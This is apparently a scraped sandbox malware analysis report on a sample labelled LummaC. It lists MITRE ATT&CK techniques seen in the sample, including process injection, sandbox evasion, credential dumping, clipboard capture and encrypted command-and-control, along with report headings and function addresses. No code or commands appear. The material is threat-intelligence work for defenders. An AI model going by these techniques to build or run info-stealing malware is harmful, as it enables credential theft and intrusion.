Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6wFwugeLNG.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
6wFwugeLNG.exe

Function 00486950 Relevance: 35.8, APIs: 11, Strings: 9, Instructions: 762
memorycomCOMMON

Function 0045AEC0 Relevance: 18.0, Strings: 14, Instructions: 485
COMMON

Function 0047B824 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 511
COMMON

Function 0045DA13 Relevance: 13.8, APIs: 1, Strings: 8, Instructions: 297
COMMON

Function 00471620 Relevance: 13.0, Strings: 10, Instructions: 550
COMMON

Function 004732A0 Relevance: 12.8, APIs: 1, Strings: 6, Instructions: 519
COMMON

Function 0047B81F Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 525
COMMON

Function 004817B8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110
COMMON

Function 0046CA00 Relevance: 4.4, Strings: 3, Instructions: 619
COMMON

Function 0048E3C0 Relevance: 1.6, Strings: 1, Instructions: 336
COMMON

Function 004587B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 31
threadCOMMON

Function 0048AF60 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
memoryCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre